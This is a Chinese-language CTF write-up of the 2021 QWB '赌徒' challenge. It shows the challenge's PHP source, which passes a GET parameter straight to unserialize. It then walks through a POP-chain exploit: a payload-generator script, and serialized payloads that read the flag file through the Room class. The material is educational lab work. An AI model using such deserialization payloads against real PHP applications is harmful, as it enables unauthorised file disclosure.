2021qwb [强网先锋]赌徒 Writeup + 环境复现

2021 qwb 强网先锋赌徒 Writeup + 环境复现(win10)

1、本地环境复现(win10+phpStudy2018)

将比赛文件复制到phpStudy的\phpStudy\PHPTutorial\WWW 网站运行目录下;

比赛文件index.php,源码就在此文件中,www.zip 文件为index.php的打包,其他文件夹自建,主要为了还原最真实的比赛环境。

2、Writeup 开始解题

打开题目链接,发现就一句话,如下:

I think you need /etc/hint . Before this you need to see the source code

看看页面源代码,看了看请求和响应,发现一个小细节:

服务器的环境出来了 Apache/2.4.18(Ubuntu) ==>此为当时比赛中真实截图

基于此情况,对该链接进行"目录扫描"操作

一个www.zip 的备份文件(对照本地环境复现看),下载下来后里面有一个index.php的源码文件,源码如下:

复制代码
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start

{

public $name='guest';

public $flag='syst3m("cat 127.0.0.1/etc/hint");';

复制代码
	public function __construct(){
		echo "I think you need /etc/hint . Before this you need to see the source code";
	}

	public function _sayhello(){
		echo $this->name;
		return 'ok';
	}

	public function __wakeup(){
		echo "hi";
		$this->_sayhello();
	}
	public function __get($cc){
		echo "give you flag : ".$this->flag;
		return ;
	}
}

class Info
{
	private $phonenumber=123123;
	public $promise='I do';

	public function __construct(){
		$this->promise='I will not !!!!';
		return $this->promise;
	}

	public function __toString(){
		return $this->file['filename']->ffiillee['ffiilleennaammee'];
	}
}

class Room
{
	public $filename='/flag';
	public $sth_to_set;
	public $a='';

	public function __get($name){
		$function = $this->a;
		return $function();
	}

	public function Get_hint($file){
		$hint=base64_encode(file_get_contents($file));
		echo $hint;
		return ;
	}

	public function __invoke(){
		$content = $this->Get_hint($this->filename);
		echo $content;
	}
}

if(isset($_GET['hello'])){
	unserialize($_GET['hello']);
}else{
	$hi = new  Start();
}

?>

从代码中分析可以看出,给"hello"传参,然后进行序列化攻击。

现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?

通过对魔术方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法。

再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法。

构造payload:

复制代码
<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

在我们本地搭建的环境中运行payload.php

序列化得到payload(false):

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

由于我们本地win10环境,flag文件放在C盘根目录下,名为flag。

故再次序列化payload(true)变更为:

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

注意:Infophonenumber,要用%00截断,因为phonenumber为类Info中的变量,这样才能符合序列化语句的构造。不然反序列化结果会有问题,什么都没有一片空白(亲测)!

最后,利用了魔术方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!

ZmxhZ3s0NTZiNzg5LWE0YWUtMTg1My1hMWIyLXExdzJlM3I0dDV9

注意:hi 是之前Start类中输出的内容!

得到base64编码后的字符串进行解码:

最终得到了flag并与flag文件中的内容进行比对。

复制代码
flag{456b789-a4ae-1853-a1b2-q1w2e3r4t5}

以上就是本文的全部内容,希望对大家的学习有所帮助

相关推荐
遇码1 小时前
开源 Data Agent 实战:用 Lakemind + DuckDB 让 LLM 安全分析本地数据
安全·开源
Chengbei111 小时前
VMware Workstation Pro 26H1免费虚拟化利器
运维·安全·web安全·自动化·系统安全·apache·安全架构
AI创界者2 小时前
打造内网安全防线:使用 Kali Linux 进行企业级漏洞风险自查与防御指南
linux·运维·安全
@insist12311 小时前
系统规划与管理师-信息安全规划核心考点解析:概述与安全架构
安全·软考·安全架构·系统规划与管理师·软件水平考试·系统规划与管理工程师
IT小白杨12 小时前
从移动指纹到App隔离:TikTok Shop跨境电商账号安全管理实战
安全·新媒体运营·业界资讯·指纹浏览器
其实防守也摸鱼12 小时前
运维--怎么看接口的请求和返回
运维·学习·网络安全·网络攻击模型·burpsuite·攻防对抗·蓝队
humors22112 小时前
【分享】火绒恶意网址自定义规则,根据互联网应急中心部分威胁预警恶意代码制作
网络·安全·规则·火绒安全·恶意网址·应急中心
工程管理笔记13 小时前
工程发票与资金管理系统:蓝燕云进销项发票台账功能
安全
爱折腾的小黑牛16 小时前
礼账小程序的数据安全方案:加密与备份
数据库·安全
云水一下18 小时前
DVWA从入门到精通(十八):Cryptography(密码学问题)
web安全·密码学·dvwa